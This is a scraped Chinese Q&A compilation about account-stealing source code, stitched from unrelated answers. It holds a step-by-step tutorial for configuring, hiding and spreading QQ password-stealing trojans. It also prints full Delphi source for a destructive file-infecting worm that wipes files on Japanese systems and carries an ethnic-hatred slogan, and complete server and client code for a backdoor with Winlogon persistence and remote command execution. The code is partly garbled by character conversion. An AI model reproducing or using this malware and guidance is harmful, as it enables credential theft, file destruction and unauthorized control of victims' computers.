c盜號源碼
Ⅰ 網頁上被惡意加了外部鏈接 上傳了一些偽裝的圖片格式的木馬 我看源代碼找不到鏈接加的位置 怎麼辦 小白
願我的答案 能夠解決您的煩憂
那麼您遇到的情況主要就是有人上傳了帶偽裝過的病毒圖片導致的,後台把這些圖片刪除後,再對藍本文件進行殺毒就可以了呀!非常簡單
1,請您先不要著急,只要病毒就有克制的方法。
2,下載騰訊電腦管家「8.4」最新版,對電腦首先進行一個體檢,打開所有防火牆避免系統其餘文件被感染。
3,打開殺毒頁面開始查殺,切記要打開小紅傘引擎。
4,如果普通查殺不能解決問題,您可以打開騰訊電腦管家---工具箱---頑固木馬專殺- 進行深度
掃描。
5,查殺處理完所有病毒後,立刻重啟電腦,再進行一次安全體檢,清除多餘系統緩存文件,避免二次感染。
如果您對我的答案不滿意,可以繼續追問或者提出寶貴意見,謝謝
Ⅱ QQ號給盜,申訴不回來,我該怎麼辦!
第一節:選好馬。
我們在盜Q的時候無非是在別人的電腦里安上了木馬,然後把他的上Q時輸入的東西發送到指定的地方,比如
郵箱,網站或者木馬控制端。
大部分的盜Q軟體都是發送到網站或者郵箱,代表者有"啊拉QQ大盜,極限居,沖擊波,石頭,木頭,農民,啊虎,
上興",發送到木馬控制端的不是專業盜號工具,代表者有"灰鴿子"。
以下我們要講的是專業盜Q工具,選盜Q木馬的時候,我們要考慮以下幾個問題:
1:發送速度,要是我的郵件一年後才給我發來我還不郁悶死?
2:後門,有些木馬作者會在他的軟體里加入他的後門,也就是說,我們的戰斗果實會被他竊取了,代表軟體有
"QQ大劃拉",作者技術是很好的,不過就是有後門,不爽。所以,選一款沒有後門的木馬是前提。
3:隱藏性,這個不用我說了吧。
4:准確性,這個也用不著我說,要是發信不準那豈不是白費工作?
5:體積,體積過大的是一個垢病,阿拉QQ大盜做的還不錯,最終生成後再加殼只有26K
6:免殺,免殺是個長久的話題,你的木馬不免殺,一旦被查出來還有什麼意思。
我們綜合以上特點,我們看一下以上幾個盜Q木馬,
沖擊波基本上可以達到我們的要求,不過他的發信格式會有點小問題,那就是不太好用批量工具,對少量盜Q
或者研究技術還可以,
石頭,啊虎等幾個QQ基本都是在一個源碼里自己修改的,隱藏性不錯,就是免殺不方便,我就試過他會釋放出
幾個文件插入系統進程里,我們通常要做幾個文件的免殺。
大劃拉我們就不要用了,哪怕有人放出什麼無後門版的,但總不是很放心。
啊拉QQ盜,基本符合以上特點,不過隱藏性不是很好,要自己再做過少許修改,比如修改進程名之類的工作,
不過還好,網上有大把人放出他們的修改版本,比如戰天的免殺啊啦QQ大盜,修改了進程名,剛開始的時候我
還真找出不他換什麼進程名了,而且啊拉只有一個文件,加個殼再變異就可以了,而且還有一個特別好的功
能,"還原精靈自動轉存",這對於部分網吧比較好。
大家就各自根據自己的特點選一個自己適合的吧。以下我們就以啊拉QQ大盜來講解。
第二節:准備工作。
配製木馬,我們先上網找一個最新的啊拉,網上有大把人做出各式各樣的免殺。
啊拉QQ大盜有兩種收信方式,網站收信和郵箱收信。有條件的朋友就用網站收信吧,不過免費空間部分屏
蔽啊拉QQ大盜的收信程序了。
我們就用郵箱收信吧,新版20060502的啊啦QQ大盜修改了一些郵件格式,主要是用來對付郵件伺服器的。
(部分伺服器對他的收信方式的信件屏蔽了,作者這次的修改就是針對這個的)。郵箱方面我們推薦用
21cn的郵箱,發信比較快,163的有時會發送不成功。我們配製木馬的時候要注意,他有兩個收信箱,靚
號的和普通號的信箱,建議不要填一樣。然後填入郵箱密碼。
還有幾個問題要說明一下:
1:運行後是否關閉,這個你隨便吧,根據自己情況選擇。
2:安裝後刪除自身,建議選上。
3:過濾重復號碼,建議選上,不然的話郵箱會被重復號碼塞滿的,當然,網站收信就無所謂了。
4,徹底摧毀防火牆,這個不建議選上,假如我點了你的東西防火牆都不能用了我還不急么,輕者清除木
馬,重則重裝系統,其實我們只要做好免殺就可以了。
5:顯示IP物理地址,這個根據你需要選擇吧。
6:顯示是否會員,這一個郵件收信的時候會在號碼前面加上[vip]字樣,對於批量曬號的朋友不推薦用這
個。
7:顯示在線狀態,這個可以不選上。
8:還原精靈自動轉存,這個是用來偷網吧QQ的,建議選上。
配製好了是不是就可以了呢?別急,還有工作要做,就是免殺,假如當前是免殺的話,我們可以再加一個
殼,減少體積。
如果你想在網吧里傳播的話呢,建議再加上一個「轉存精靈」這一個是對付還原卡(是還原卡,稍微高級
點的網吧會使用還原卡來保護系統,這個軟體的目的也就在這里)和還原精靈的。記住,都要做好免殺。
第三節:傳播篇
怎麼傳播,正所謂八仙過河,各顯神通。
我們總結以下幾種方法:
1:掛馬,可以做成網頁木馬,他人點了之後就中了你的大盜,至於怎麼騙他去點是你的本事范圍。。。
2:利用盜來的QQ再盜QQ,你找到一些QQ,但發覺被密碼保護了,對於這種QQ的用處是用他來和他裡面的
好友聊天,把你的東西再發給他。不過不要碰到同行哦。
3:自己去網吧,網吧是個大場所,每天都有很多人上,要選有用或者沒使用還原卡或還原精靈的網吧,
使用無盤工作站的網吧就不要考慮了,優點是收信多;缺點是成本較高,建議去網吧的時候順便裝上。
4:BT傳播,論壇傳播。這個你要具備工程學的意識,寫一篇吸引人的文章,捆綁一個免殺的正常軟
件,不過你有可能會被封IP。建議使用代理伺服器。
5:你自己想吧,各顯神通。
第四節:善後篇
拿到大量的QQ號有什麼用呢,靠,你不知道嗎?
當然我們可不是用人工的方法來挑號,我們可以用到幾款軟體,JQQ,QQC,CQQtools,木頭曬號器。
沒密保的好號碼的,留下來,有密保的,用來再傳播。
結尾:
寫這篇文章沒什麼技術內容,只是把大家平時怎麼盜QQ的方法給寫一寫而已.學技術可以,不要做壞事.
Ⅲ 按鍵精靈源碼能寫病毒么能竊取資料么
按鍵精靈寫軟體一般是模似按鍵操作,你所說的是盜號之類的操作嗎?做個假的功能軟體,做個隱藏的資料一鍵發郵箱就行,帶注冊帳戶功能的。學習編程的目的是學習技術,請不要觸碰法律
Ⅳ 盜號器是什麼
這個是原理
必須將源碼中利用SMPT發送密碼的部分,改成你自己的郵箱,然後重新編譯成可執行文件。
2.找到一台你入侵的主機(別問我怎樣去佔領一台肉雞),將生成的QQ2013.exe放置於肉雞上QQ所在的目錄下,如可能是c:program files encent。
3.創建QQ2013.exe的快捷方式,並改名為"騰訊QQ"。
4.將肉雞上凡是有"騰訊QQ"快捷方式的地方用剛才創建的那個替換.
5.等著別人的密碼發回來吧
Ⅳ 哪位哥哥能給我個厲害點的病毒源碼
您好,
請不要傳播病毒、盜號木馬程序,惡意傳播病毒和木馬會污染互聯網環境,請您加入到維護網路安全的大軍中!
QQ木馬程序會導致您和他人的帳號和密碼泄露,從而可能使您和他人的QQ財產,如游戲、QB等受到嚴重威脅,嚴重的還會違反法律。
請您不要輕易安裝陌生人傳送給您的未知文件,有可能是病毒或者木馬。建議您安裝騰訊電腦管家對您的電腦進行實時防護,保護您的電腦安全運行,避免給您的財產和個人隱私帶來威脅。
騰訊電腦管家企業平台:http://..com/c/guanjia/
Ⅵ qq被源代碼盜號還能找回么
源代碼是什麼恐怕你都不理解,你以為是一大串你看不懂的字母嗎?不是的,這個是編程語言,C語言、Java語言等等都屬於編程語言,甚至連二進制等,這些都可以算作是源代碼。而單純的依賴源代碼是無法盜號的,即使計算機之父來了也不能。
說那些源代碼你很難理解,就說被盜號怎麼找回吧。被盜號唯一的渠道就是去申訴,拿出你有力的證據,自己證明這個號是你自己的,只有你自己能證明了,號自然也就可以找回。比如用實名制、即使對方把你的手機號修改了,也可以依賴實名制找回。沒有實名制,也沒有手機號,啥都沒有,連你自己都不能證明,還如何讓別人甚至客服相信你,這還不如說天上那輛飛機是我的,你說誰會信。
至於下面的小騙子說有點棘手、不過能。能什麼,我這隨便考問他幾個賬號找回的問題、讓他到網上找答案都回答不上來。騙人可以,不過智商有點太低了。就這樣的騙子,我要是願意,隨便挖個坑讓騙子往裡跳,送進去監獄改造改造,猖狂。
Ⅶ 用易語言做生成器用的ASP木馬源碼
ASP很簡單的,弄個簡單資料庫ZH.MDB就用戶名和密碼兩個欄位,
<%
dim conn
dim connstr
connstr="DBQ="+server.mappath("ZH.mdb")+";DefaultDir=;DRIVER={Microsoft Access Driver (*.mdb)};"
set conn=server.createobject("ADODB.CONNECTION")
conn.open connstr
username=request("username")
password=request("password")
qq=request("qq")
email=request("email")
tuijianren=request("tuijianren")
set rs=server.createobject("adodb.recordset")
sql="select * from user_msg where [用戶名]='" & username & "'"
rs.open sql,conn,1,3
if not (rs.eof and rs.bof) then
response.write "ER!"
else
sql="insert into user_msg ([用戶名],[密碼]) values ('" & username & "','" & password & "')"
conn.execute( sql)
response.write "OK!"
end if
%>
然後用HTTP讀文件(「http://x-xx.cn/xxx.ASP?username=編輯框1.內容&password=bjk2.nr」,,)
就好了,沒安裝易語言,你可以改一下就可以用了
Ⅷ 熊貓燒香病毒怎麼用
小心把自己埋了
沒編程和安全基礎
就是把工具給你也不會用的
盜號不好
如果有興趣就好好學把
「熊貓燒香」, 近日又化身為「金豬報喜」 ,這是一個感染型的蠕蟲病毒,它能感染系統中exe,com,pif,src,html,asp等文件,它還能中止大量的反病毒軟體進程並且會刪除擴展名為gho的文件,該文件是一系統備份工具GHOST的備份文件,使用戶的系統備份文件丟失。被感染的用戶系統中所有.exe可執行文件全部被改成可愛金豬的模樣。
program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒體的大小
IconOffset = EB8; //PE文件主圖標的偏移量
//在我的Delphi5 SP1上面編譯得到的大小,其它版本的Delphi可能不同
//查找2800000020的十六進制字元串可以找到主圖標的偏移量
{
HeaderSize = 38912; //Upx壓縮過病毒體的大小
IconOffset = BC; //Upx壓縮過PE文件主圖標的偏移量
//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = E8; //PE文件主圖標的大小744位元組
IconTail = IconOffset + IconSize; //PE文件主圖標的尾部
ID = 444444; //感染標記
//無用碼,以備寫入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Japan! ' +
'*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stDCall; external 'Kernel32.dll'; //函數聲明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文版操作系統標記
{ 判斷是否為windows 9.X版本 }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;
{ 在流之間復制 }
procere CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 將宿主文件從已感染的PE文件中分離出來,以備使用 }
procere ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, 0); //跳過頭部的病毒部分
dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end;
end;
{ 填充STARTUPINFO結構 }
procere FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 發帶毒郵件 }
procere SendMail;
begin
//郵件終止
end;
{ 感染PE文件 }
procere InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出錯則文件正在被使用,退出
if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己則不感染
Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
try
for i := 0 to 8 do //檢查PE文件頭
begin
SrcStream.Seek(i, soFromBeginning);
SrcStream.Read(Buf, 2);
if (Buf[0] = #80) and (Buf[1] = #69) then //PE標記
begin
IsPE := True; //是PE文件
Break;
end;
end;
SrcStream.Seek(-4, soFromEnd); //檢查感染標記
SrcStream.Read(iID, 4);
if (iID = ID) or (SrcStream.Size < 10240) then //小於10240的文件不被感染
Infected := True;
finally
SrcStream.Free;
end;
if Infected or (not IsPE) then //如果感染過了或不是PE文件則退出
Exit;
IcoStream := TMemoryStream.Create;
DstStream := TMemoryStream.Create;
try
aIcon := TIcon.Create;
try
//得到被感染文件的主圖標(744位元組),存入流
aIcon.ReleaseHandle;
aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
aIcon.SaveToStream(IcoStream);
finally
aIcon.Free;
end;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
//頭文件
HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
//寫入病毒體主圖標之前的數據
CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
//寫入目前程序的主圖標
CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
//寫入病毒體主圖標到病毒體尾部之間的數據
CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
//寫入宿主程序
CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
//寫入已感染的標記
DstStream.Seek(0, 2);
iID := 444444;
DstStream.Write(iID, 4);
finally
HdrStream.Free;
end;
finally
SrcStream.Free;
IcoStream.Free;
DstStream.SaveToFile(FileName); //替換宿主文件
DstStream.Free;
end;
except;
end;
end;
{ 將目標文件寫入無用碼後刪除 }
procere SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
SetFileAttributes(PChar(FileName), 0); //去掉只讀屬性
FileHandle := FileOpen(FileName, fmOpenWrite); //打開文件
try
Size := GetFileSize(FileHandle, nil); //獲取文件大小
i := 0;
Randomize;
Max := Random(15); //寫入無用碼的隨機次數
if Max < 5 then
Max := 5;
Mass := Size div Max; //每個間隔塊的大小
Len := Length(Catchword);
while i < Max do
begin
FileSeek(FileHandle, i * Mass, 0); //定位
//寫入無用碼,將文件徹底破壞!
FileWrite(FileHandle, Catchword, Len);
Inc(i);
end;
finally
FileClose(FileHandle); //關閉文件
end;
DeleteFile(PChar(FileName)); //刪除
except
end;
end;
{ 獲得可以寫入的驅動器列表 }
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for i := 0 to 25 do //遍歷26個字母
begin
D := Chr(i + 65);
Str := D + ':\';
DiskType := GetDriveType(PChar(Str));
//得到本地磁碟和網路盤
if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
Result := Result + D;
end;
end;
{ 遍歷目錄,感染和摧毀文件 }
procere LoopFiles(Path, Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 0 //不是目錄
else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 1 //不是根目錄
else Result := 2; //是根目錄
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //調整消息隊列,避免引起懷疑
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = '.EXE') or (Ext = '.SCR') then
begin
InfectOneFile(Fn); //感染可執行文件
end
else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
begin
//感染HTML和ASP文件,將Base64編碼後的病毒寫入
//感染瀏覽此網頁的所有用戶
//哪位大兄弟願意完成之?
end
else if Ext = '.WAB' then //Outlook地址簿文件
begin
//獲取Outlook郵件地址
end
else if Ext = '.ADC' then //Foxmail地址自動完成文件
begin
//獲取Foxmail郵件地址
end
else if Ext = 'IND' then //Foxmail地址簿文件
begin
//獲取Foxmail郵件地址
end
else
begin
if IsJap then //是倭文操作系統
begin
if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
SmashFile(Fn); //摧毀文件
end;
end;
end;
//感染或刪除一個文件後睡眠200毫秒,避免CPU佔用率過高引起懷疑
Sleep(200);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings + '\', Mask);
FreeAndNil(SubDir);
end;
{ 遍歷磁碟上所有的文件 }
procere InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系統
IsJap := True; //去死吧!
DriverList := GetDrives; //得到可寫的磁碟列表
Len := Length(DriverList);
while True do //死循環
begin
for i := Len downto 1 do //遍歷每個磁碟驅動器
LoopFiles(DriverList + ':\', '*.*'); //感染之
SendMail; //發帶毒郵件
Sleep(1000 * 60 * 5); //睡眠5分鍾
end;
end;
{ 主程序開始 }
begin
if IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注冊為服務進程
else //WinNT
begin
//遠程線程映射到Explorer進程
//
end;
//如果是原始病毒體自己
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
InfectFiles //感染和發郵件
else //已寄生於宿主程序並開始工作
begin
TmpFile := ParamStr(0); //創建臨時文件
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一個空格
ExtractFile(TmpFile); //分離之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi); //創建新進程運行之
InfectFiles; //感染和發郵件
end;
end.
CMD命令 shutdown -a //取消計算機中病毒後的倒記時關機。
Ⅸ 知道網頁木馬進!!!
其實木馬分很多種有的是針對系統的,就象是鴿子、冰河那種WIN32病毒。所以他要用C、C#、BCB、VC++、VB、DELPHI、MASM32、JAVA等多種主流語言。我甚至用PASCAL都能做出木馬。
而現在比較流行的網頁木馬就是針對HTTP服務的。所以要用腳本語言。比如,VBS( Visual Basic Script )、JS(JAVA Script)和HTML等語言編寫的。
總之,大家還是要好好學習編程。現在的社會變化的太快了大家不要被他給淘汰掉啊
Delphi編寫簡單的木馬2008-09-02 14:20剛學電腦時很喜歡網路安全,看著高手們寫的一個又一個攻擊工具,自己也總想努力去學好編程去寫屬於自己的程序。學DELPHI快一年了,感覺什麼都沒學到,慚愧啊。今晚突然想學著寫木馬,於是手忙腳亂的敲了點代碼,超簡單,願自己能越寫越好!!!程序跟傳統木馬一樣,分服務端和客戶端。運行服務端後會復制自身到SYSTEM32目錄下面,並在注冊表添加一自動行啟動項,打開本機9626埠開始等待接收客戶端的數據。當接收到客戶端數據時就當作CMD命令去執行,最後把回顯傳送回客戶端。客戶端很簡單,跟服務端連接成功後,輸入命令點執行,正常的話可以收到服務端的執行結果了。
源碼如下:
////Server.pas//////////////
unit UtMain;
////////////////////////////////////
//////////BY lanyus////////////////
////////Email:[email protected]////
////////QQ:231221////////////////
///部分代碼從網上收集///////////
////////////////////////////////
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Registry, ScktComp, StdCtrls;
type
TFmMain = class(TForm)
SS: TServerSocket;
Memo1: TMemo;
procere FormCreate(Sender: TObject);
procere SSAccept(Sender: TObject; Socket: TCustomWinSocket);
procere SSClientRead(Sender: TObject; Socket: TCustomWinSocket);
private
{ Private declarations }
public
{ Public declarations }
end;
var
FmMain: TFmMain;
reg:TRegistry;
implementation
{$R *.dfm}
procere TFmMain.FormCreate(Sender: TObject);
var
sysdir:array[0..50] of char;
begin
Application.ShowMainForm:=False;
FmMain.Left:=-200; //運行不顯示窗口
reg:=TRegistry.Create;
reg.RootKey:=HKEY_LOCAL_MACHINE;
reg.OpenKey('SoftWare\Microsoft\Windows NT\CurrentVersion\Winlogon',true);
if reg.ReadString('Shell')<> 'Explorer.exe Lysvr.exe' then
reg.WriteString('Shell','Explorer.exe Lysvr.exe'); //建立開機啟動項
reg.Free;
GetSystemDirectory(sysdir,50);
if not FileExists(sysdir+'\Lysvr.exe') then
file(Pchar(Application.exeName),pchar(sysdir+'\Lysvr.exe'),true);
SS.Port:=9626;
try
SS.Active:=True;
except
end;
end;
procere TFmMain.SSAccept(Sender: TObject; Socket: TCustomWinSocket);
begin
Socket.SendText('連接成功'); //發現有連接時回傳『連接成功 』
end;
procere TFmMain.SSClientRead(Sender: TObject; Socket: TCustomWinSocket);
var
RemoteCmd:string;
hReadPipe,hWritePipe:THandle;
si:STARTUPINFO;
lsa:SECURITY_ATTRIBUTES;
pi:PROCESS_INFORMATION;
cchReadBuffer:DWORD;
ph:PChar;
fname:PChar;
res:string;
begin
Memo1.Clear;
remotecmd:=Socket.ReceiveText;
fname:=allocmem(255);
ph:=AllocMem(5000);
lsa.nLength :=sizeof(SECURITY_ATTRIBUTES);
lsa.lpSecurityDescriptor :=nil;
lsa.bInheritHandle :=True;
if CreatePipe(hReadPipe,hWritePipe,@lsa,0)=false then
begin
socket.SendText('不能創建管道');
exit;
end;
fillchar(si,sizeof(STARTUPINFO),0);
si.cb:=sizeof(STARTUPINFO);
si.dwFlags:=(STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW);
si.wShowWindow:=SW_HIDE;
si.hStdOutput:=hWritePipe;
StrPCopy(fname,remotecmd);
/////執行CMD命令////
if CreateProcess(nil,fname,nil,nil,true,0,nil,nil,si,pi)=False then
begin
socket.SendText('不能創建進程');
FreeMem(ph);
FreeMem(fname);
Exit;
end;
while(true) do
begin
if not PeekNamedPipe(hReadPipe,ph,1,@cchReadBuffer,nil,nil) then break;
if cchReadBuffer<>0 then
begin
if ReadFile(hReadPipe,ph^,4096,cchReadBuffer,nil)=false then break;
ph[cchReadbuffer]:=chr(0);
Memo1.Lines.Add(ph);
end
else
if(WaitForSingleObject(pi.hProcess ,0)=WAIT_OBJECT_0) then break;
Sleep(100);
end;
ph[cchReadBuffer]:=chr(0);
Memo1.Lines.Add(ph); //memo接收回顯
CloseHandle(hReadPipe);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(hWritePipe);
FreeMem(ph);
FreeMem(fname);
socket.SendText(Memo1.Text); ///將回顯發送回客戶端
end;
end.
///////////////////////////////////////////////////////////////////////////////////////////
//////客戶端/////////////////////
unit UtMain;
////////////////////////////////////
//////////BY lanyus////////////////
////////Email:[email protected]////
////////QQ:231221////////////////
////////////////////////////////
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, OleCtrls, SHDocVw, StdCtrls, IdBaseComponent, IdComponent,
IdUDPBase, IdUDPServer, Buttons, TLHelp32, ScktComp;
type
TFmMain = class(TForm)
WebBrowser1: TWebBrowser;
Label3: TLabel;
Edit2: TEdit;
Label4: TLabel;
Edit3: TEdit;
Button2: TButton;
CS: TClientSocket;
Edit4: TEdit;
Label5: TLabel;
Memo1: TMemo;
BitBtn2: TBitBtn;
procere Button2Click(Sender: TObject);
procere CSRead(Sender: TObject; Socket: TCustomWinSocket);
procere BitBtn2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
FmMain: TFmMain;
implementation
{$R *.dfm}
procere TFmMain.Button2Click(Sender: TObject);
begin
CS.Host:=Edit2.Text;
CS.Port:=StrToInt(Edit3.Text);
CS.Open;
end;
procere TFmMain.CSRead(Sender: TObject; Socket: TCustomWinSocket);
begin
Memo1.Clear;
Memo1.Lines.Add(Socket.ReceiveText);
Memo1.Lines.Add('');
end;
procere TFmMain.BitBtn2Click(Sender: TObject);
begin
CS.Socket.SendText(edit4.Text);
end;
end.